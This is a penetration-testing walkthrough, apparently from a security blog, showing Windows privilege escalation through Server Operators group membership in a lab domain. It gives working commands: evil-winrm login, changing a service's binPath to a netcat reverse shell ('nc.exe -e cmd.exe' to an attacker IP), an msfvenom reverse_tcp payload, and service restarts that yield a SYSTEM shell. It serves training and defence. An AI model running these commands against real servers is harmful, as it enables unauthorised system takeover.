Background:

The Windows Server operating system uses two types of security principals for authentication and authorization: user accounts and computer accounts. These accounts are created to represent physical entities, such as people or computers, and can be used to assign permissions to access resources or perform specific tasks. Additionally, security groups are created to include user accounts, computer accounts, and other groups, in order to make it easier to manage permissions. The system comes pre-configured with certain built-in accounts and security groups, which are equipped with the necessary rights and permissions to carry out functions.

Table of Content:

• Introduction to windows privileged groups
• Server Operator group summary
• Lab configuration
• Vulnerability Analysis
• Exploitation Method 1
• Exploitation Method 2
• Remediation
• Conclusion

Introduction to windows privileged groups

In Active Directory, privileged groups are also known as security groups. Security groups are collections of user accounts that have similar security requirements. By placing user accounts into appropriate security groups, administrators can grant or deny access to network resources in bulk. Security groups can be used to grant or deny access to network resources, such as shared folders, printers, and applications. They can also be used to assign permissions to user accounts, such as the ability to create, delete, or modify files.

Active Directory also provides features to help administrators manage and secure privileged groups. For example, administrators can enable Group Policy Objects (GPOs) to manage the permissions of privileged groups. GPOs can be applied to a specific group of users or to the entire domain. Additionally, administrators can use the Local Users and Groups snap-in to control the membership of privileged groups. This snap-in can be used to add or remove user accounts from privileged groups, as well as modify the permissions of those groups. For more about windows security groups feel free to visit Microsoft official documentation page:

https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups

Server operator group summary

The Server Operator group is a special user group that often has access to powerful commands and settings on a computer system. This group is typically used for managing a server or for troubleshooting system problems. Server Operators are usually responsible for monitoring the server’s performance, managing system security, and providing technical support to users. They may also oversee installing software updates, creating and maintaining user accounts, and performing routine maintenance tasks.

Lab Configuration

Let’s configure the lab on the server to apply theory and escalated windows server privileges. Go to server manager dashboard then click on “Tools” then select “Active Directory Users and Computers”.

We are going to add a user aarti to the active directory security group for the demonstration. To do that, go to “users” select “aarti” and click on “properties”.

That will open a new window where we need to click on the “ member of “ tab and then click on the “add” button to add user to any specific group.

A new window will open where we need to select object types as “Groups or Built-in security principals” and select location to domain name which is “ignite. local” here. Then, we need to enter object name which is the group to that we wish to add user to. In this case, we are using the server operators’ group then click ok.

We can verify whether a user is added to the server operators’ group by simply clicking on the members of tab. We can see that we have successfully added user aarti to server operators’ group.

We end up with our lab set up here and logged in as low privileged user in the server where we can see user aarti is in the server operators’ group. In this example, we have connected to the compromised host using the winrm service using the evil-winrm tool. To check group permission, we can simply use the inbuilt command “net user <username>”, it will show what groups the current user belongs to. To reproduce the concept, please follow the commands below:

evil-winrm -I 192.168.1.16 -u aarti -p [email protected]
net user aarti

Vulnerability Analysis

Being a member of server operator group is not a vulnerability, but the member of this group has special privileges to make changes in the domain which could lead an attacker to escalate to system privilege. We listed services running on the server by issuing “services” command in our terminal where we can see list of services are there. Then we noted the service name “VMTools” and service binary path for lateral usage.

Exploitation Method 1

Then we transferred netcat.exe binary to the compromised host and changed the binary path of the service. The reason we are changing the binary path is to receive a reverse connection as system user from the compromised hosts.

How it works?

When we start any service then it will execute the binary from its binary path so if we replace the service binary with netcat or reverse shell binary then it will give us a reverse shell as a system user because the service is starting as a system on the compromised host. Please note, we need to specify the attacker’s IP address and listening port number with the netcat binary.

Steps to reproduce the POC:

upload /usr/share/windows-binaries/nc.exe
sc.exe config VMTools binPath="C:\Users\aarti\Documents\nc.exe -e cmd.exe 192.168.1.205 1234"

Then we will stop the service and start it again. So, this time when service starts, it will execute the binary that we have set in set earlier. Please, set up a netcat listener on the kali system to receive system shell before starting service and service start and stop commands from compromised hosts.

nc -lvp 1234
sc.exe stop VMTools
sc.exe start VMTools

We have received a reverse shell from the compromised host as nt authority\system. To verify it simply run “whoami” command.

Exploitation Method 2

In this method, we are going to use Metasploit reverse shell binary instead of using nc.exe. Let’s create a msfvenom reverse shell binary and save it as shell.exe. Let’s break out the commands we used to create msfvenom reverse shell binary payload. Here we have selected payload type which is based on the target host operating system (windows/x64/shell_reverse_tcp), then lhost and lport which is listening to host (Attacker IP) and listening port (8888) in our case, lastly, we issue filetype with -f flag which will save our payload in exe format and saved it as shell.exe.

msfvenom -p windows/x64/shell/reverse_tcp lhost=192.168.1.205 lport=8888 -f exe > shell.exe

Once we create the reverse shell payload binary then we will upload it to the compromised system. We have our binary saved in the in the root directory, it is possible that it might be different in your case.

upload /root/shell.exe

Then we will do the same steps we did in method one. Here we do not need to provide the IP address of the attacker machine as it is already there in the shell.exe binary. The concept is the same, just we have changed the binary here, so we do not have to specify the listening IP and port number while setting the service binary path. To reproduce the POC follow the below commands:

sc.exe config VMTools binPath="C:\Users\aarti\Documents\shell.exe"
sc.exe stop VMTools
sc.exe start VMTools

Please note: Make sure you have turned on the netcat listener on port 8888 on the kali system to receive the reverse connection as system.

As we have changed the service binary path to shell.exe path. Now if we call that service, it will execute shell.exe instead of its own binary which will send a connection back to kali system as nt authority\system.

Here we can see, we have successfully received a reverse connection as a system user in the netcat listener.

Remediations:

There are multiple factors and ways which can help to hardening the system.

1. Restrict access to privileged accounts: All privileged accounts should be restricted to a few trusted individuals and should be monitored for any suspicious activity.
2. Use strong passwords: Strong passwords should be used for all privileged accounts, and they should be changed regularly.
3. Use two-factor authentication: Two-factor authentication should be used for all privileged accounts to ensure that only authorized individuals can access them.
4. Monitor privileged accounts: All privileged accounts should be monitored for any suspicious activity, such as unauthorized access attempts or suspicious commands.
5. Implement role-based access controls: Access to privileged accounts should be restricted to only those individuals who need it, and their access should be limited to only the functions they need to perform.
6. Regularly audit user accounts: Regular audits of user accounts should be conducted to ensure that only authorized individuals have access to privileged accounts.
7. Limit remote access: Remote access to privileged accounts should be limited to only those individuals who need it, and their access should be monitored.
8. Harden systems: Systems should be hardened to reduce the risk of exploitation, such as patching regularly, using antivirus software, and implementing least privilege policies. Thank you for giving your precious time to read this walkthrough. I hope you have enjoyed and learned something new today. Happy Hacking!

Conclusion:

We have explored the windows privileged group briefly and its special privileges which can allow an attacker to gain system privilege in any enterprise network. We have explored multiple techniques to exploit windows security group privileges. Lastly, we unpacked it with remediations to help businesses and enterprises to secure their network. I hope you have learned something new today. Happy hacking!

Author: Subhash Paudel is a Penetration Tester and a CTF player who has a keen interest in various technologies and loves to explore more and more. Additionally, he is a technical writer at Hacking articles. Contact here: Linkedin and Twitter